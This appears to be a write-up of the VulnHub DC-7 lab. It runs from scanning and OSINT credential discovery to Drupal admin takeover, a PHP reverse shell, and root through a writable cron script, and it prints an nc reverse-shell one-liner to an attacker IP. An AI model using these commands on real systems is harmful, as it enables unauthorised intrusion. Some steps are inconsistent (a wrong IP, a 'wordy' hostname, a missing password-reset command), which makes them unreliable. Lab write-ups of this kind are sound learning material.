Dc-7 Vulnhub Walkthrough

Introduction

The objective of this engagement was to perform a full penetration test against the VulnHub machine DC-7. The assessment involved reconnaissance, enumeration, exploitation, post-exploitation, and privilege escalation techniques to obtain root access and capture the final flag.

The machine focuses heavily on Open Source Intelligence (OSINT), requiring the identification and analysis of publicly available information to discover valid credentials. Initial access is achieved through a Drupal-based web application, demonstrating the importance of assessing administrative functionality and understanding ho9w exposed information can contribute to system compromise.

Additionally, the machine demonstrates key post-exploitation concepts, including remote code execution through administrative access, obtaining an interactive shell, and exploiting insecure file permissions to escalate privileges. By chaining multiple weaknesses together, an attacker can progress from initial access to full root compromise, highlighting the risks associated with poor access control and insecure privilege management.

Host Discovery

During the reconnassiance phase,ARP scanning was performed using Netdiscover to identify active hosts on the local subnet.

The target machine was identified at:192.168.52.149

This address was used throughout the remainder of the assessment.

Nmap Enumeration

A compreehensive Nmap scan was conducted to identify open ports and services. nmap -sC -sV -p- 192.168.52.149

Service Enumeration

The Nmap scan identified two primary services exposed by the target system:

• 22/tcp — SSH — OpenSSH 7.4p1 Debian 10+deb9u6
• 80/tcp — HTTP — Apache 2.4.25 (Debian)

The most interesting finding was the web service running on port 80. Since web applications typically present a larger attack surface than SSH services, the assessment focused primarily on the HTTP service. Initial inspection of the website revealed a Drupal-based application, making it a potential entry point for further enumeration and exploitation.

The Apache server banner indicated that the target was running on a Debian-based Linux system. Meanwhile, the SSH service appeared to be a standard OpenSSH installation and did not present any immediately exploitable weaknesses during initial reconnaissance.

Based on these findings, the next phase of the assessment focused on web application enumeration to identify Drupal-specific information, user accounts, administrative functionality, and potential attack vectors that could be leveraged to gain initial access.

Web Application Enumeration

After navigating to the target's IP address (192.168.52.149) in a web browser, the application loaded successfully and presented a website powered by Drupal. This immediately identified the content management system in use and provided a potential avenue for further enumeration.

During the initial inspection of the webpage, a username, @DC7USER, was observed. Usernames are valuable pieces of information during a penetration test because they can often be leveraged for OSINT investigations, credential attacks, or authentication attempts against exposed services.

The discovery of a publicly disclosed username suggested that additional information might be available through external sources. As a result, the next phase of the assessment focused on gathering intelligence related to the identified user and the Drupal application in order to uncover potential credentials or other attack vectors that could lead to initial access.

Page Source Analysis

To gather additional information about the application, the page source was reviewed for common indicators such as hidden input fields, developer comments, usernames, file paths, backup references, and other information disclosure issues that could assist in further enumeration.

The source code was inspected thoroughly; however, no useful information was identified. There were no developer notes, exposed credentials, hidden parameters, sensitive file references, or other artifacts that could be leveraged during the assessment.

Since the page source did not reveal any valuable findings, the enumeration process continued using alternative techniques to gather more information about the Drupal application and the identified user account.

Nikto Web Server Scan

After finding no useful information during the source code review, further enumeration was performed using Nikto to identify potential web server misconfigurations, exposed files, and known security issues.To gather additional information about the web application, I performed a Nikto scan against the target web server.

nikto -h 192.168.52.149

The scan returned several informational findings related to the Apache web server and Drupal application. While these results provided additional insight into the target's configuration, none of the identified issues appeared to offer a direct path to exploitation or initial access.

As no significant vulnerabilities were discovered through Nikto, the assessment continued with alternative enumeration techniques in search of additional attack vectors.

Directory and File Enumeration

After the Nikto scan failed to reveal any significant attack vectors, further enumeration was conducted to identify hidden directories and files that might not be directly accessible through the application's navigation.

To accomplish this, Gobuster was used to perform directory brute-forcing against the web server. This technique helps uncover administrative panels, backup files, development directories, and other resources that may expose sensitive information or provide additional attack surfaces.

The enumeration process focused on discovering hidden content within the Drupal application that could assist in identifying potential entry points for further exploitation.

gobuster dir -u http://192.168.52.148 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-x php,txt,html

The Gobuster scan identified several directories associated with the Drupal application, including the /user/login endpoint. This confirmed the presence of an accessible authentication interface and provided a potential target for further investigation.

Robots.txt Enumeration

Following the directory brute-force results, further enumeration was performed by inspecting the robots.txt file to identify any disallowed or hidden paths that might not be directly accessible through normal navigation or directory scanning. The file was reviewed for entries that could reveal sensitive directories, administrative endpoints, or backup locations intended to be excluded from search engine indexing.

In this case, the robots.txt file did not expose any meaningful or sensitive paths that could be leveraged for further exploitation. No hidden directories, backup files, or administrative endpoints were discovered through this method. Since this enumeration step did not yield any actionable information, the assessment continued with deeper investigation of the Drupal application and previously identified user-related data.

The robots.txt file was further analyzed to identify any potentially sensitive or hidden paths that could assist in the enumeration process. The file listed several standard Drupal-related endpoints, including administrative and user-related paths such as /admin, /user/login, /user/register, and /search.

Additionally, both clean URL and non-clean URL variants (using /index.php/) were also disallowed, indicating typical Drupal configuration practices aimed at restricting crawler access to sensitive application areas. However, upon further review, none of the disclosed paths revealed any new or exploitable information beyond standard application structure. These entries were primarily focused on restricting search engine indexing rather than exposing hidden or vulnerable functionality.

OSINT Investigation — Credential Discovery

After extensive enumeration of the target application without finding direct exploitation paths, an OSINT approach was taken based on the previously identified username @DC7USER.

A search was conducted online to identify any external references associated with this username. This led to the discovery of a publicly accessible GitHub repository containing a directory named staffdb. Within this repository, a configuration file was found that appeared to contain database connection details.

The file disclosed the following credentials:

• Server: localhost
• Username: dc7user
• Password: MdR3xOgB7#dW

This finding was significant, as it indicated potential credential reuse or exposure of sensitive information through external sources. The credentials provided a new avenue for further enumeration and possible authentication attempts against the target system or associated services.

Based on this discovery, the next phase of the assessment focused on testing the validity of these credentials and exploring how they could be leveraged to gain access to the target environment.

Authentication Attempt

After discovering potential credentials through OSINT, an attempt was made to authenticate into the Drupal login portal using the username and password retrieved from the external source.

The credentials were submitted via the web login interface; however, the authentication attempt was unsuccessful. The application returned an error indicating that the username or password was incorrect.

This suggested that the exposed credentials may not be valid for the Drupal login panel, may belong to a different service, or could be intended for another internal component such as database access or SSH authentication. Since the credentials did not grant web access, further enumeration was required to determine their actual usage and identify whether they could be leveraged against other services or internal application functionality.

SSH Enumeration

After unsuccessful authentication on the web application using the discovered credentials, attention was shifted toward the SSH service running on port 22. Since SSH often provides direct system access if valid credentials are available, it was considered a potential entry point for initial compromise. The credentials obtained earlier through OSINT were tested against the SSH service using the following command:

ssh dc7user@192.168.52.149

During authentication, the following password was used: MdR3xOgB7#dW

After attempting authentication on the SSH service using the credentials discovered through OSINT, the login was successful and an interactive shell was obtained on the target system. This confirmed that the exposed credentials were valid for system-level access via SSH, providing an initial foothold as the user dc7user. With access to the system, the next phase of the assessment focused on local enumeration to identify privilege escalation vectors, misconfigurations, and potential paths to root access.

SSH Enumeration and Initial Access

After unsuccessful authentication on the web application using the discovered credentials, attention was shifted toward the SSH service running on port 22. Since SSH often provides direct system access when valid credentials are available, it was considered a strong candidate for initial compromise.

The credentials obtained through OSINT were tested against the SSH service using the following command: ssh dc7user@192.168.52.149 Password used: MdR3xOgB7#dW

The authentication attempt was successful, resulting in an interactive shell as the user dc7user. This confirmed that the leaked credentials were valid for system-level access and provided an initial foothold on the target machine.

Post-Exploitation Enumeration

After obtaining shell access, initial system enumeration was performed to understand the environment and confirm the level of access. The following commands were executed: whoami id pwd hostname uname -a The results are :

This enumeration confirmed the current user context, system identity, and kernel version, providing a clear baseline for further privilege escalation analysis.

Local Enumeration and Backup Analysis

After gaining shell access as dc7user, local enumeration was performed to understand the system environment and identify potential privilege escalation vectors.

The home directory of dc7user contained several files and directories of interest:

ls -la

cd backups/

ls -la

Inside the backups directory, the following file was discovered:website.sql.gpg

This indicated that a database backup was being generated and encrypted using GPG, suggesting the presence of an automated backup process handling sensitive data. After reviewing the contents of the backups directory, navigation was moved back to the parent directory for further enumeration:

cd .. ls -la

During this stage, a file named mbox was identified in the user's home directory. Since mbox files typically store system or user mail messages, it was examined for potential useful information.

The file was read using: cat mbox

Cron Job and Mail Analysis (mbox)

The mbox file was analyzed to identify system-generated emails related to background processes. It contained administrative messages generated by the system's mail service, primarily reporting the output of scheduled cron jobs executed by the root user.

The most important finding was a recurring cron job executing the following script:

/opt/scripts/backups.sh

Backup Script Analysis (Privilege Escalation Path Discovery)

After analyzing system logs and cron job activity, attention was directed toward the /opt directory, which commonly contains custom scripts and administrative tooling.

The following navigation was performed: cd /opt ls -la cd scripts ls -la cat backups.sh

This revealed a root-executed backup script responsible for automating database backups and file archiving.

The script performs the following operations:

Removes existing backup files from /home/dc7user/backups/

• Generates a Drupal database dump using drush sql-dump
• Compresses the web directory into a tar archive
• Encrypts both the database dump and archive using GPG with a hardcoded passphrase: PickYourOwnPassword
• Changes ownership of backup files to dc7user
• Deletes intermediate unencrypted files after processing

Drush Enumeration and Privilege Escalation Insight

During the analysis of the backup script, a command named drush was identified:

drush sql-dump — result-file=/home/dc7user/backups/website.sql

Since drush was unfamiliar, further research was conducted to understand its functionality. It was discovered that Drush is a command-line shell and scripting interface for Drupal, used for administrative and maintenance tasks such as database management, cache operations, and user administration.

To confirm its availability on the system, the following command was executed:

which drush

This confirmed that Drush was installed and accessible on the target machine. Further enumeration of available Drush commands was performed using:

drush -help

This returned a comprehensive list of administrative commands. Among them, a highly significant command was identified:

user-password

This command allows resetting the password of a specified Drupal user account.

Administrative Access via Drupal Login

After successfully resetting the Drupal administrator password using Drush, the next step was to validate the credentials through the web interface.

The login page was accessed at:

http://wordy/user/login

Using the credentials:

• Username: admin
• Password: `smitayadav``

The authentication attempt was successful, and access to the Drupal administrative panel was obtained. This confirmed that the password reset via Drush was effective and directly impacted the web application authentication system. With administrative access to Drupal, full control over the CMS environment was achieved.

Drupal Module Installation and PHP Execution Capability

After gaining administrative access to the Drupal web interface, further exploration was conducted within the Extend section, which is used to manage Drupal modules and functionality.

Inside this section, multiple pre-installed modules were observed along with an option to install new modules. During investigation, it was noted that the system did not have a PHP execution module enabled by default. To proceed, a search was performed for a compatible PHP module for Drupal. This led to the identification of the PHP Filter module, which is commonly used to allow PHP code execution within Drupal content. The module was downloaded as a .tar.gz archive from the official Drupal project repository.

The installation was performed through the Drupal admin interface using the following steps:

• Navigated to Extend → Install new module

• Selected the option Upload a module

• Uploaded the downloaded PHP Filter module archive

• Completed installation successfully

• Enabled the module from the same interface

Once enabled, the PHP Filter module allowed the execution of PHP code within Drupal content, significantly increasing the functionality available to the attacker within the web application.

Remote Code Execution via PHP Filter Module

With the PHP Filter module successfully installed and enabled, the next objective was to achieve remote code execution on the target system.

To accomplish this, the following steps were performed:

• Navigated to Content → Add Content

Selected Basic Page

Added a page title

Inserted a PHP reverse shell into the page body from github:

Changed the Text Format from Basic HTML to PHP Code

Before executing the payload, the reverse shell was modified to use the attacker's system details:

IP Address: 192.168.52.142 Port: 8080

The default callback values in the script were replaced with the attacker's IP address and listening port.

A Netcat listener was started on the attacking machine:

nc -lvnp 8080

After configuring the payload, the Preview option was selected. Since the page content was processed as PHP, the embedded code executed on the server and initiated a connection back to the attacker's machine.

The listener immediately received an incoming connection, resulting in a reverse shell on the target system.

Shell Stabilization and Further Enumeration

After obtaining the reverse shell, the session was upgraded to a more interactive terminal using Python's PTY module:

python -c 'import pty; pty.spawn("/bin/bash")'

This provided a more stable shell environment, allowing commands to execute more reliably and improving overall interaction with the target system.With a functional shell established, further local enumeration was performed to identify potential privilege escalation vectors. One of the first areas investigated was the /opt directory:

cd /opt ls -al

The /opt directory is commonly used on Linux systems to store optional software, custom applications, administrative tools, and organization-specific scripts. During privilege escalation assessments, it is often a valuable location to inspect because administrators frequently place custom scripts and automated tasks there, some of which may execute with elevated privileges.

Listing the contents of /opt revealed additional directories and files that warranted further investigation. This ultimately led to the discovery of the backup-related scripts that had previously been referenced in the cron job logs, providing a potential path toward privilege escalation.

Investigating the Scripts Directory

Since the cron job logs referenced a script located at /opt/scripts/backups.sh, the next step was to inspect the contents of the scripts directory.

The following commands were executed:

cd /opt/scripts ls -al

The directory listing revealed the presence of the backups.sh script, which matched the file previously identified in the cron job output.

The discovery of this script was particularly interesting because it was being executed automatically by the root user through a scheduled cron task. Scripts executed with elevated privileges are always high-value targets during privilege escalation assessments, as insecure permissions or unsafe functionality can often be leveraged to gain higher levels of access.

Having confirmed the existence of the script, the next step was to inspect its contents and understand how the backup process operated. This would help determine whether the script or its associated files could be manipulated to influence root-level operations and ultimately achieve privilege escalation. After identifying that the backup script was writable and executed automatically by a root-owned cron job, the script was modified to include a custom payload designed to establish a connection back to the attacking machine.

A listener was prepared on the attacker's host, and after waiting for the scheduled task to execute, the modified script ran under the root user's context. This resulted in a privileged shell being established, confirming successful privilege escalation.

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.52.142 8888 >/tmp/f' >> backups.sh

Receiving the Root Shell

After modifying the backup script, a Netcat listener was started on the attacking machine to wait for an incoming connection:

sudo nc -nvlp 8888

At first, no connection was received. This was expected because the script was not executed immediately after being modified. Earlier enumeration of the mbox file had revealed that backups.sh was being executed automatically by a root-owned cron job.

Since cron jobs run according to a predefined schedule, the script would only process the changes during its next execution cycle. As a result, it was necessary to wait for the scheduled task to run.

After several minutes, a new connection was received on the listener, providing a shell running with root privileges.

The delay occurred because the backup script was triggered by cron, a Linux task scheduler used to execute commands at fixed intervals.

The workflow was as follows:

1. The backup script was modified.
2. The changes were saved successfully.
3. The script remained idle until cron executed it.
4. During the next scheduled run, cron launched the script as the root user.
5. The injected payload was executed, resulting in a connection back to the attacker's machine.
6. A root shell was obtained.

This behavior is common when exploiting scheduled tasks. Unlike manually executed programs, cron jobs only process changes when their configured execution time is reached.

Root Access and Flag Capture

After successfully obtaining a root shell through the cron-based privilege escalation vector, full system control was achieved.To confirm complete compromise, the final step was to retrieve the root flag:

cat /root/theflag.txt

This displayed the final flag, confirming that the objective of the DC-7 lab had been successfully completed.

Conclusion

The DC-7 machine demonstrated a realistic attack chain involving multiple stages of exploitation, including OSINT-based credential discovery, SSH access, Drupal CMS exploitation, and privilege escalation through a misconfigured cron job.

The most critical weakness was the presence of a root-executed automated script that could be influenced through a lower-privileged user context. This ultimately enabled a full transition from initial access to root compromise.

Key Learning Points

• OSINT can directly lead to valid system credentials
• Drupal Drush provides powerful administrative capabilities if misused
• CMS misconfigurations (like PHP execution modules) can lead to RCE
• Cron jobs remain a high-impact privilege escalation vector when misconfigured
• File permission hygiene is critical for system security

This lab reinforces the importance of secure automation practices and proper separation between user and root-level operations.